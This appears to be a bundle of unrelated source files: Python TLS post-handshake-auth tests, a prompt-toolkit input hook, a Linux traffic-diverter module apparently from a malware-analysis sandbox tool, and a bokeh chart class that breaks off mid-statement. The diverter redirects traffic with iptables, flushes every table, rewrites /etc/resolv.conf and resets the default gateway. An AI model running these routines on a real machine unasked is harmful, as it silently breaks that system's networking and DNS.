self.assertRaises(ValueError) as e: s.session = session self.assertEqual(str(e.exception), 'Cannot set session after handshake.') with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: # can set session before handshake and before the # connection was established s.session = session s.connect((HOST, server.port)) self.assertEqual(s.session.id, session.id) self.assertEqual(s.session, session) self.assertEqual(s.session_reused, True) with client_context2.wrap_socket(socket.socket(), server_hostname=hostname) as s: # cannot re-use session with a different SSLContext with self.assertRaises(ValueError) as e: s.session = session s.connect((HOST, server.port)) self.assertEqual(str(e.exception), 'Session refers to a different SSLContext.') @unittest.skipUnless(ssl.HAS_TLSv1_3, "Test needs TLS 1.3") class TestPostHandshakeAuth(unittest.TestCase): def test_pha_setter(self): protocols = [ ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS_SERVER, ssl.PROTOCOL_TLS_CLIENT ] for protocol in protocols: ctx = ssl.SSLContext(protocol) self.assertEqual(ctx.post_handshake_auth, False) ctx.post_handshake_auth = True self.assertEqual(ctx.post_handshake_auth, True) ctx.verify_mode = ssl.CERT_REQUIRED self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertEqual(ctx.post_handshake_auth, True) ctx.post_handshake_auth = False self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertEqual(ctx.post_handshake_auth, False) ctx.verify_mode = ssl.CERT_OPTIONAL ctx.post_handshake_auth = True self.assertEqual(ctx.verify_mode, ssl.CERT_OPTIONAL) self.assertEqual(ctx.post_handshake_auth, True) def test_pha_required(self): client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') # PHA method just returns true when cert is already available s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'GETCERT') cert_text = s.recv(4096).decode('us-ascii') self.assertIn('Python Software Foundation CA', cert_text) def test_pha_required_nocert(self): client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED client_context.post_handshake_auth = True server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'PHA') # receive CertificateRequest self.assertEqual(s.recv(1024), b'OK\n') # send empty Certificate + Finish s.write(b'HASCERT') # receive alert with self.assertRaisesRegex( ssl.SSLError, 'tlsv13 alert certificate required'): s.recv(1024) def test_pha_optional(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) # check CERT_OPTIONAL server_context.verify_mode = ssl.CERT_OPTIONAL server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') def test_pha_optional_nocert(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_OPTIONAL client_context.post_handshake_auth = True server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') # optional doens't fail when client does not have a cert s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') def test_pha_no_pha_client(self): client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED client_context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) with self.assertRaisesRegex(ssl.SSLError, 'not server'): s.verify_client_post_handshake() s.write(b'PHA') self.assertIn(b'extension not received', s.recv(1024)) def test_pha_no_pha_server(self): # server doesn't have PHA enabled, cert is requested in handshake client_context, server_context, hostname = testing_context() server_context.verify_mode = ssl.CERT_REQUIRED client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') # PHA doesn't fail if there is already a cert s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') def test_pha_not_tls13(self): # TLS 1.2 client_context, server_context, hostname = testing_context() server_context.verify_mode = ssl.CERT_REQUIRED client_context.maximum_version = ssl.TLSVersion.TLSv1_2 client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) # PHA fails for TLS != 1.3 s.write(b'PHA') self.assertIn(b'WRONG_SSL_VERSION', s.recv(1024)) def test_main(verbose=False): if support.verbose: import warnings plats = { 'Linux': platform.linux_distribution, 'Mac': platform.mac_ver, 'Windows': platform.win32_ver, } with warnings.catch_warnings(): warnings.filterwarnings( 'ignore', r'dist\(\) and linux_distribution\(\) ' 'functions are deprecated .*', DeprecationWarning, ) for name, func in plats.items(): plat = func() if plat and plat[0]: plat = '%s %r' % (name, plat) break else: plat = repr(platform.platform()) print("test_ssl: testing with %r %r" % (ssl.OPENSSL_VERSION, ssl.OPENSSL_VERSION_INFO)) print(" under %s" % plat) print(" HAS_SNI = %r" % ssl.HAS_SNI) print(" OP_ALL = 0x%8x" % ssl.OP_ALL) try: print(" OP_NO_TLSv1_1 = 0x%8x" % ssl.OP_NO_TLSv1_1) except AttributeError: pass for filename in [ CERTFILE, BYTES_CERTFILE, ONLYCERT, ONLYKEY, BYTES_ONLYCERT, BYTES_ONLYKEY, SIGNED_CERTFILE, SIGNED_CERTFILE2, SIGNING_CA, BADCERT, BADKEY, EMPTYCERT]: if not os.path.exists(filename): raise support.TestFailed("Can't read certificate file %r" % filename) tests = [ ContextTests, BasicSocketTests, SSLErrorTests, MemoryBIOTests, SSLObjectTests, SimpleBackgroundTests, ThreadedTests, TestPostHandshakeAuth ] if support.is_resource_enabled('network'): tests.append(NetworkedTests) thread_info = support.threading_setup() try: support.run_unittest(*tests) finally: support.threading_cleanup(*thread_info) if __name__ == "__main__": test_main()
inputhook.py
""" Similar to `PyOS_InputHook` of the Python API. Some eventloops can have an inputhook to allow easy integration with other event loops. When the eventloop of prompt-toolkit is idle, it can call such a hook. This hook can call another eventloop that runs for a short while, for instance to keep a graphical user interface responsive. It's the responsibility of this hook to exit when there is input ready. There are two ways to detect when input is ready: - Call the `input_is_ready` method periodically. Quit when this returns `True`. - Add the `fileno` as a watch to the external eventloop. Quit when file descriptor becomes readable. (But don't read from it.) Note that this is not the same as checking for `sys.stdin.fileno()`. The eventloop of prompt-toolkit allows thread-based executors, for example for asynchronous autocompletion. When the completion for instance is ready, we also want prompt-toolkit to gain control again in order to display that. An alternative to using input hooks, is to create a custom `EventLoop` class that controls everything. """ from __future__ import unicode_literals import os import threading from prompt_toolkit.utils import is_windows from .select import select_fds __all__ = ( 'InputHookContext', ) class InputHookContext(object): """ Given as a parameter to the inputhook. """ def __init__(self, inputhook): assert callable(inputhook) self.inputhook = inputhook self._input_is_ready = None self._r, self._w = os.pipe() def input_is_ready(self): """ Return True when the input is ready. """ return self._input_is_ready(wait=False) def fileno(self): """ File descriptor that will become ready when the event loop needs to go on. """ return self._r def call_inputhook(self, input_is_ready_func): """ Call the inputhook. (Called by a prompt-toolkit eventloop.) """ self._input_is_ready = input_is_ready_func # Start thread that activates this pipe when there is input to process. def thread(): input_is_ready_func(wait=True) os.write(self._w, b'x') threading.Thread(target=thread).start() # Call inputhook. self.inputhook(self) # Flush the read end of the pipe. try: # Before calling 'os.read', call select.select. This is required # when the gevent monkey patch has been applied. 'os.read' is never # monkey patched and won't be cooperative, so that would block all # other select() calls otherwise. # See: http://www.gevent.org/gevent.os.html # Note: On Windows, this is apparently not an issue. # However, if we would ever want to add a select call, it # should use `windll.kernel32.WaitForMultipleObjects`, # because `select.select` can't wait for a pipe on Windows. if not is_windows(): select_fds([self._r], timeout=None) os.read(self._r, 1024) except OSError: # This happens when the window resizes and a SIGWINCH was received. # We get 'Error: [Errno 4] Interrupted system call' # Just ignore. pass self._input_is_ready = None def close(self): """ Clean up resources. """ if self._r: os.close(self._r) os.close(self._w) self._r = self._w = None
linutil.py
import os import re import glob import socket import struct import logging import binascii import threading import subprocess import netfilterqueue from debuglevels import * from collections import defaultdict from . import diverterbase class IptCmdTemplateBase(object): """For managing insertion and removal of iptables rules. Construct and execute iptables command lines to add (-I or -A) and remove (-D) rules in the abstract. Base only handles iptables -I/-D and -i/-o args """ def __init(self): self._addcmd = None self._remcmd = None def _iptables_format(self, chain, iface, argfmt): """Format iptables command line with optional interface restriction. Parameters ---------- chain : string One of 'OUTPUT', 'POSTROUTING', 'INPUT', or 'PREROUTING', used for deciding the correct flag (-i versus -o) iface : string or NoneType Name of interface to restrict the rule to (e.g. 'eth0'), or None argfmt : string Format string for remaining iptables arguments. This format string will not be included in format string evaluation but is appended as-is to the iptables command. """ flag_iface = '' if iface: if chain in ['OUTPUT', 'POSTROUTING']: flag_iface = '-o' elif chain in ['INPUT', 'PREROUTING']: flag_iface = '-i' else: raise NotImplementedError('Unanticipated chain %s' % (chain)) self._addcmd = 'iptables -I {chain} {flag_if} {iface} {fmt}' self._addcmd = self._addcmd.format(chain=chain, flag_if=flag_iface, iface=(iface or ''), fmt=argfmt) self._remcmd = 'iptables -D {chain} {flag_if} {iface} {fmt}' self._remcmd = self._remcmd.format(chain=chain, flag_if=flag_iface, iface=(iface or ''), fmt=argfmt) def add(self): if not self._addcmd: raise ValueError('Iptables rule addition command not initialized') return subprocess.call(self._addcmd.split()) def remove(self): if not self._remcmd: raise ValueError('Iptables rule removal command not initialized') return subprocess.call(self._remcmd.split()) class IptCmdTemplateNfq(IptCmdTemplateBase): """For constructing and executing NFQUEUE iptables rules""" def __init__(self, chain, qno, table, iface=None): fmt = '-t {} -j NFQUEUE --queue-num {}'.format(table, qno) self._iptables_format(chain, iface, fmt) class IptCmdTemplateRedir(IptCmdTemplateBase): """For constructing and executing REDIRECT iptables rules""" def __init__(self, iface=None): fmt = '-t nat -j REDIRECT' self._iptables_format('PREROUTING', iface, fmt) class IptCmdTemplateIcmpRedir(IptCmdTemplateBase): """For constructing and executing ICMP REDIRECT iptables rules""" def __init__(self, iface=None): fmt = '-t nat -p icmp -j REDIRECT' self._iptables_format('OUTPUT', iface, fmt) class LinuxDiverterNfqueue(object): """NetfilterQueue object wrapper. Handles iptables rule addition/removal, NetfilterQueue management, netlink socket timeout setup, threading, and monitoring for asynchronous stop requests. Has a NetfilterQueue instance rather than sub-classing it, because it encapsulates a thread and other fields, and does not need to modify any methods of the NetfilterQueue object. The results are undefined if start() or stop() are called multiple times. """ def __init__(self, qno, chain, table, callback, iface=None): self.logger = logging.getLogger('Diverter') # Specifications self.qno = qno self.chain = chain self.table = table self._rule = IptCmdTemplateNfq(self.chain, self.qno, self.table, iface) self._callback = callback self._nfqueue = netfilterqueue.NetfilterQueue() self._sk = None self._stopflag = False self._thread = None # State self._rule_added = False self._bound = False self._started = False def __repr__(self): return '%s/%s@%d' % (self.chain, self.table, self.qno) def start(self, timeout_sec=0.5): """Binds to the netfilter queue number specified in the ctor, obtains the netlink socket, sets a timeout of <timeout_sec>, and starts the thread procedure which checks _stopflag every time the netlink socket times out. """ # Execute iptables to add the rule ret = self._rule.add() if ret != 0: return False self._rule_added = True # Bind the specified callback to the specified queue try: self._nfqueue.bind(self.qno, self._callback) self._bound = True except OSError as e: self.logger.error('Failed to start queue for %s: %s' % (str(self), e.message)) except RuntimeWarning as e: self.logger.error('Failed to start queue for %s: %s' % (str(self), e.message)) if not self._bound: return False # Facilitate _stopflag monitoring and thread joining self._sk = socket.fromfd( self._nfqueue.get_fd(), socket.AF_UNIX, socket.SOCK_STREAM) self._sk.settimeout(timeout_sec) # Start a thread to run the queue and monitor the stop flag self._thread = threading.Thread(target=self._threadproc) self._thread.daemon = True self._stopflag = False try: self._thread.start() self._started = True except RuntimeError as e: self.logger.error('Failed to start queue thread: %s' % (e.message)) return self._started def _threadproc(self): while not self._stopflag: try: self._nfqueue.run_socket(self._sk) except socket.timeout: # Ignore timeouts generated every N seconds due to the prior # call to settimeout(), and move on to re-evaluating the # current state of the stop flag. pass def stop_nonblocking(self): """Call this on each LinuxDiverterNfqueue object in turn to stop them all as close as possible to the same time rather than waiting for each one to time out and stop before moving on to the next. Perfect synchrony is a non-goal because halting the Diverter could disrupt existing connections anyway. Hence, it is up to the user to halt FakeNet-NG after any critical network operations have concluded. """ self._stopflag = True def stop(self): self.stop_nonblocking() # Ensure somebody has set the stop flag if self._started: self._thread.join() # Wait for the netlink socket to time out if self._bound: self._nfqueue.unbind() if self._rule_added: self._rule.remove() # Shell out to iptables to remove the rule class ProcfsReader(object): """Standard row/field reading for proc files.""" def __init__(self, path, skip, cb): self.path = path self.skip = skip self.cb = cb def parse(self, multi=False, max_col=None): """Rip through the file and call cb to extract field(s). Specify multi if you want to collect an aray instead of exiting the first time the callback returns anything. Only specify max_col if you are uncertain that the maximum column number you will access may exist. For procfs files, this should remain None. """ retval = list() if multi else None try: with open(self.path, 'r') as f: while True: line = f.readline() # EOF case if not len(line): break # Insufficient columns => ValueError if max_col and (len(line) < max_col): raise ValueError(('Line %d in %s has less than %d ' 'columns') % (n, self.path, max_col)) # Skip header lines if self.skip: self.skip -= 1 continue cb_retval = self.cb(line.split()) if cb_retval: if multi: retval.append(cb_retval) else: retval = cb_retval break except IOError as e: self.logger.error('Failed accessing %s: %s' % (path, e.message)) # All or nothing retval = [] if multi else None return retval class LinUtilMixin(diverterbase.DiverterPerOSDelegate): """Automate addition/removal of iptables rules, checking interface names, checking available netfilter queue numbers, etc. """ def init_linux_mixin(self): self.old_dns = None self.iptables_captured = '' def getNewDestinationIp(self, ip): """On Linux, FTP tests fail if IP redirection uses the external IP, so always return localhost. """ return '127.0.0.1' def check_active_ethernet_adapters(self): return (len(self._linux_get_ifaces()) > 0) def check_gateways(self): return True if self.linux_get_default_gw() else False def check_dns_servers(self): # TODO: Implement return True def check_ipaddresses(self): # TODO: Implement return True def fix_gateway(self): # TODO: Implement return False def fix_dns(self): # TODO: Implement return False def linux_capture_iptables(self): self.iptables_captured = '' ret = None try: p = subprocess.Popen(['iptables-save'], stdout=subprocess.PIPE) while True: buf = p.stdout.read() if buf == '': break self.iptables_captured += buf if self.iptables_captured == '': self.logger.error('Null iptables-save output, likely not ' + 'privileged') ret = p.wait() except OSError as e: self.logger.error('Error executing iptables-save: %s' % (e.message)) return ret def linux_restore_iptables(self): ret = None self.pdebug(DIPTBLS, 'Restoring iptables') try: p = subprocess.Popen(['iptables-restore'], stdin=subprocess.PIPE) p.communicate(self.iptables_captured) ret = p.wait() except OSError as e: self.logger.error('Error executing iptables-restore: %s' % (e.message)) return ret def linux_flush_iptables(self): rets = [] cmd = '' table_names = ['raw', 'filter', 'mangle', 'nat'] self.pdebug(DIPTBLS, 'Flushing iptables: %s' % (', '.join(table_names))) try: for table_name in table_names: cmd = 'iptables --flush -t %s' % (table_name) p = subprocess.Popen(cmd.split()) ret = p.wait() rets.append(ret) if ret != 0: self.logger.error('Received return code %d from %s' + (ret, cmd)) except OSError as e: self.logger.error('Error executing %s: %s' % (cmd, e.message)) return rets def linux_get_current_nfnlq_bindings(self): """Determine what NFQUEUE queue numbers (if any) are already bound by existing libnfqueue client processes. Although iptables rules may exist specifying other queues in addition to these, the netfilter team does not support using libiptc (such as via python-iptables) to detect that condition, so code that does so may break in the future. Shelling out to iptables and parsing its output for NFQUEUE numbers is not an attractive option. The practice of checking the currently bound NetFilter netlink queue bindings is a compromise. Note that if an iptables rule specifies an NFQUEUE number that is not yet bound by any process in the system, the results are undefined. We can add FakeNet arguments to be passed to the Diverter for giving the user more control if it becomes necessary. """ procfs_path = '/proc/net/netfilter/nfnetlink_queue' qnos = list() try: with open(procfs_path, 'r') as f: lines = f.read().split('\n') for line in lines: line = line.strip() if line: queue_nr = int(line.split()[0], 10) self.pdebug(DNFQUEUE, ('Found NFQUEUE #' + str(queue_nr) + ' per ') + procfs_path) qnos.append(queue_nr) except IOError as e: self.logger.debug(('Failed to open %s to enumerate netfilter ' 'netlink queues, caller may proceed as if ' 'none are in use: %s') % (procfs_path, e.message)) return qnos def linux_get_next_nfqueue_numbers(self, n): # Queue numbers are of type u_int16_t hence 0xffff being the maximum QNO_MAX = 0xffff existing_queues = self.linux_get_current_nfnlq_bindings() next_qnos = list() for qno in xrange(QNO_MAX + 1): if qno not in existing_queues: next_qnos.append(qno) if len(next_qnos) == n: break return next_qnos def linux_iptables_redir_iface(self, iface): """Linux-specific iptables processing for interface-based redirect rules. returns: tuple(bool, list(IptCmdTemplate)) Status of the operation and any successful iptables rules that will need to be undone. """ iptables_rules = [] rule = IptCmdTemplateRedir(iface) ret = rule.add() if ret != 0: self.logger.error('Failed to create PREROUTING/REDIRECT ' + 'rule for %s, stopping...' % (iface)) return (False, iptables_rules) iptables_rules.append(rule) return (True, iptables_rules) def _linux_get_ifaces(self): ifaces = [] procfs_path = '/proc/net/dev' try: with open(procfs_path, 'r') as f: lines = f.read().split('\n') for line in lines: # Only lines with colons contain interface names if ':' in line: fields = line.split(':') ifaces.append(fields[0].strip()) except IOError as e: self.logger.error('Failed to open %s to enumerate interfaces: %s' % (procfs_path, e.message)) return ifaces def linux_remove_iptables_rules(self, rules): """Execute the iptables command to remove each rule that was successfully added. """ failed = [] for rule in rules: ret = rule.remove() if ret != 0: failed.append(rule) return failed def linux_modifylocaldns_ephemeral(self): resolvconf_path = '/etc/resolv.conf' self.old_dns = None try: with open(resolvconf_path, 'r') as f: self.old_dns = f.read() except IOError as e: self.logger.error(('Failed to open %s to save DNS ' + 'configuration: %s') % (resolvconf_path, e.message)) if self.old_dns: try: with open(resolvconf_path, 'w') as f: ip = self.linux_first_nonlo_ip() if not ip: ip = '127.0.0.1' f.write('nameserver %s\n' % (ip)) except IOError as e: self.logger.error(('Failed to open %s to modify DNS ' + 'configuration: %s') % (resolvconf_path, e.message)) def linux_restore_local_dns(self): resolvconf_path = '/etc/resolv.conf' if self.old_dns: try: with open(resolvconf_path, 'w') as f: f.write(self.old_dns) self.old_dns = None except IOError as e: self.logger.error(('Failed to open %s to restore DNS ' + 'configuration: %s') % (resolvconf_path, e.message)) def linux_find_processes(self, names): """But what if a blacklisted process spawns after we call this? We'd have to call this every time we do anything. """ pids = [] proc_pid_dirs = glob.glob('/proc/[0-9]*/') comm_file = '' for proc_pid_dir in proc_pid_dirs: comm_file = os.path.join(proc_pid_dir, 'comm') try: with open(comm_file, 'r') as f: comm = f.read().strip() if comm in names: pid = int(proc_pid_dir.split('/')[-2], 10) pids.append(pid) except IOError as e: # Silently ignore pass return pids def _port_for_proc_net_tcp(self, port): return ':%s' % (hex(port).lstrip('0x').zfill(4).upper()) def _ip_port_for_proc_net_tcp(self, ipver, ip_dotdecimal, port): # IPv6 untested af = socket.AF_INET6 if ipver == 6 else socket.AF_INET ip_pton = socket.inet_pton(af, ip_dotdecimal) ip_str = binascii.hexlify(ip_pton[::-1]).upper() port_str = self._port_for_proc_net_tcp(port) return '%s:%s' % (ip_str, port_str) def linux_find_sock_by_endpoint(self, ipver, proto_name, ip, port, local=True): """Check args and call _linux_find_sock_by_endpoint_unsafe.""" if proto_name and ip and port: return self._linux_find_sock_by_endpoint_unsafe(ipver, proto_name, ip, port, local) else: return None def _linux_find_sock_by_endpoint_unsafe(self, ipver, proto_name, ip, port, local=True): """Search /proc/net/tcp for a socket whose local (field 1, zero-based) or remote (field 2) address matches ip:port and return the corresponding inode (field 9). Fields referenced above are zero-based. Example contents of /proc/net/tcp (wrapped and double-spaced) sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 53320 1 0000000000000000 100 0 0 10 0 1: 00000000:021A 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 11125 1 0000000000000000 100 0 0 10 0 2: 00000000:1A0B 00000000:0000 0A 00000000:00000000 00:00000000 00000000 39 0 11175 1 0000000000000000 100 0 0 10 0 3: 0100007F:8071 0100007F:1F90 01 00000000:00000000 00:00000000 00000000 1000 0 58661 1 0000000000000000 20 0 0 10 -1 4: 0100007F:1F90 0100007F:8071 01 00000000:00000000 00:00000000 00000000 1000 0 58640 1 0000000000000000 20 4 30 10 -1 Returns inode """ INODE_COLUMN = 9 # IPv6 untested suffix = '6' if (ipver == 6) else '' procfs_path = '/proc/net/' + proto_name.lower() + suffix inode = None port_tag = self._port_for_proc_net_tcp(port) match_column = 1 if local else 2 local_column = 1 remote_column = 2 try: with open(procfs_path) as f: f.readline() # Discard header while True: line = f.readline() if not len(line): break fields = line.split() # Local matches can be made based on port only if local and fields[local_column].endswith(port_tag): inode = int(fields[INODE_COLUMN], 10) self.pdebug(DPROCFS, 'MATCHING CONNECTION: %s' % (line.strip())) break # Untested: Remote matches must be more specific and # include the IP address. Hence, an "endpoint tag" is # constructed to match what would appear in # /proc/net/{tcp,udp}{,6} elif not local: endpoint_tag = self._ip_port_for_proc_net_tcp(ipver, ip, port) if fields[remote_column] == endpoint_tag: inode = int(fields[INODE_COLUMN], 10) self.pdebug(DPROCFS, 'MATCHING CONNECTION: %s' % (line.strip())) except IOError as e: self.logger.error('No such protocol/IP ver (%s) or error: %s' % (procfs_path, e.message)) return inode def linux_get_default_gw(self): DEST_COLUMN = 1 GW_COLUMN = 2 MASK_COLUMN = 7 dgw = None def scan_for_default_gw(fields): if fields[DEST_COLUMN] == '00000000': s = fields[GW_COLUMN] return socket.inet_ntoa(binascii.unhexlify(s)[::-1]) r = ProcfsReader('/proc/net/route', 1, scan_for_default_gw) dgw = r.parse() return dgw def linux_redir_icmp(self, iface=None): rule = IptCmdTemplateIcmpRedir(iface) ret = rule.add() return (ret == 0), rule def linux_first_nonlo_ip(self): for ip in self.ip_addrs[4]: if not ip.startswith('127.'): return ip return None def linux_set_default_gw(self, ip=None): ip = self.linux_first_nonlo_ip() if not ip: return False cmd = 'route add default gw %s' % (ip) ret = subprocess.call(cmd.split()) return ret == 0 def linux_find_process_connections(self, names, inode_sought=None): inodes = list() for pid in self.linux_find_processes(names): # Check all /proc/<pid>/fd/* to see if they are symlinks proc_fds_glob = '/proc/%d/fd/*' % (pid) proc_fd_paths = glob.glob(proc_fds_glob) for fd_path in proc_fd_paths: inode = self._linux_get_sk_ino_for_fd_file(fd_path) if inode: if inode_sought is None: inodes.append(inode) elif inode == inode_sought: self.pdebug(DPROCFS, 'MATCHING FD %s -> socket:[%d]' % (fd_path, inode)) return [inode] return inodes def _linux_get_sk_ino_for_fd_file(self, fd_file_path): inode = None try: target = os.readlink(fd_file_path) m = re.match(r'socket:\[([0-9]+)\]', target) if m: inode = int(m.group(1), 10) except OSError: pass return inode def linux_get_comm_by_pid(self, pid): comm = None procfs_path = '/proc/%d/comm' % (pid) try: with open(procfs_path, 'r') as f: comm = f.read().strip() except IOError as e: self.pdebug(DPROCFS, 'Failed to open %s: %s' % (procfs_path, e.message)) return comm def linux_get_pid_comm_by_endpoint(self, ipver, proto_name, ip, port): """Obtain a pid and executable name associated with an endpoint. NOTE: procfs does not allow us to answer questions like "who just called send()?"; only questions like "who owns a socket associated with this local port?" Since fork() etc. can result in multiple ownership, the real answer may be that multiple processes actually own the socket. This implementation stops at the first match and hence may not give a perfectly accurate answer in those cases. In practice, this may be adequate, or it may need to be revisited to return a list of (pid,comm) tuples to take into account cases where multiple processes have the same inode open. """ pid, comm = None, None # 1. Find the inode number associated with this socket inode = self.linux_find_sock_by_endpoint(ipver, proto_name, ip, port) if inode: # 2. Search for a /proc/<pid>/fd/<fd> that has this inode open. proc_fds_glob = '/proc/[0-9]*/fd/*' proc_fd_paths = glob.glob(proc_fds_glob) for fd_path in proc_fd_paths: candidate = self._linux_get_sk_ino_for_fd_file(fd_path) if candidate and (candidate == inode): # 3. Record the pid and executable name try: pid = int(fd_path.split('/')[-3], 10) comm = self.linux_get_comm_by_pid(pid) # Not interested in e.g. except ValueError: pass return pid, comm def get_pid_comm(self, pkt): return self.linux_get_pid_comm_by_endpoint(pkt.ipver, pkt.proto, pkt.src_ip, pkt.sport) def linux_endpoint_owned_by_processes(self, ipver, proto_name, ip, port, names): inode = self.linux_find_sock_by_endpoint(ipver, proto_name, ip, port) t = self._ip_port_for_proc_net_tcp(ipver, ip, port) if inode: self.pdebug(DPROCFS, 'inode %d found for %s:%s (%s)' % (inode, ip, port, t)) conns = self.linux_find_process_connections(names, inode) if len(conns): self.pdebug(DPROCFS, 'FOUND inode %d for %s' % (inode, str(names))) return True else: self.pdebug(DPROCFS, 'No inode found for %s:%d (%s)' % (ip, port, t)) return False
word_trends_figure.py
# # Copyright 2019-2020 Lukas Schmelzeisen # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from collections import defaultdict from datetime import date, timedelta, timezone from functools import partial from logging import getLogger from pathlib import Path from threading import Thread from time import time from typing import ( Callable, Hashable, List, Mapping, MutableMapping, Optional, Sequence, Tuple, ) from bokeh.layouts import column, row from bokeh.models import ( Button, ColumnDataSource, CustomJS, DatetimeTickFormatter, Div, NumeralTickFormatter, ) from bokeh.palettes import Category20_20 from bokeh.plotting import Figure from elasticsearch_dsl import Search from nasty_utils import ColoredBraceStyleAdapter, date_range, date_to_datetime from tornado.gen import coroutine from nasty_analysis.search_helper import SearchHelper from nasty_analysis.serve.widgets.dataset_words_widget import DatasetWordsWidget from nasty_analysis.serve.widgets.date_range_widget import DateRangeWidget from nasty_analysis.serve.widgets.word_trends_widget import WordTrendsWidget from nasty_analysis.settings import DatasetType _LOGGER = ColoredBraceStyleAdapter(getLogger(__name__)) class WordTrendsFigure: def __init__( self, min_date: date, max_date: date, date_range_widget: DateRangeWidget, dataset_words_widgets: Sequence[DatasetWordsWidget], word_trends_widget: WordTrendsWidget, add_next_tick_callback: Callable[[Callable[[], None]], None], ): self._min_date = min_date self._max_date = max_date self._date_range_widget = date_range_widget self._dataset_words_widgets = dataset_words_widgets self._word_trends_widget = word_trends_widget self._add_next_tick_callback = add_next_tick_callback self._source = ColumnDataSource(self._new_source_data()) self._stats = Div( text="", style={"padding": "6px 0", "width": "100%"}, sizing_mode="stretch_width", ) trends_figure = Figure( toolbar_location="above", tools="save", x_axis_type="datetime", y_axis_type="linear", sizing_mode="stretch_both", ) trends_figure.toolbar.autohide = True trends_figure.toolbar.logo = None trends_figure.xaxis[0].formatter = DatetimeTickFormatter( days=["%d %b"], months=["%b"] ) trends_figure.yaxis[0].formatter = NumeralTickFormatter(format="0a") color_palette = Category20_20 self._glyphs = [] for i in range(len(color_palette)): self._glyphs.append( ( trends_figure.line( x="dates", # y="dates", source=self._source, color=color_palette[i], line_width=3, visible=False, ), trends_figure.circle( x="dates", # y="dates", source=self._source, color=color_palette[i], size=9, visible=False, ), ) ) export_csv = Button( label="Export CSV", button_type="primary", sizing_mode="fixed", width=100, height=30, ) export_csv.js_on_click( CustomJS( args={"source": self._source}, code=(Path(__file__).parent / "export_csv.js").read_text( encoding="UTF-8" ), ) ) self.figure = column( row(self._stats, export_csv, sizing_mode="stretch_width"), trends_figure, ) self._last_selection: Sequence[Optional[Hashable]] = [ None for _ in range(len(self._dataset_words_widgets)) ] self._word_freqs_per_day: Sequence[Optional[Mapping[str, Sequence[int]]]] = [ None for _ in range(len(self._dataset_words_widgets)) ] self._num_docs_per_day: Sequence[Optional[Sequence[int]]] = [ None for _ in range(len(self._dataset_words_widgets)) ] self._took_msecs: Sequence[Optional[int]] = [ None for _ in range(len(self._dataset_words_widgets)) ] @classmethod def _new_source_data(cls) -> MutableMapping[str, List[object]]: return {"dates": []} def selection(self, index: int) -> Hashable: widget = self._dataset_words_widgets[index] result = { "min_and_max_date": self._date_range_widget.min_and_max_date, "dataset": widget.dataset_widget.dataset, "lang": widget.dataset_widget.lang, "cooccur_words": widget.dataset_widget.cooccur_words, } if widget.dataset_widget.dataset.type == DatasetType.NASTY: result.update( { "search_filter": widget.dataset_widget.search_filter, "search_query": widget.dataset_widget.search_query, "user_verified": widget.dataset_widget.user_verified, } ) if ( widget.dataset_widget.dataset.type == DatasetType.NEWS_CSV or widget.dataset_widget.dataset.type == DatasetType.MAXQDA_CODED_NEWS_CSV ): result.update({"url_netloc": widget.dataset_widget.url_netloc}) if ( 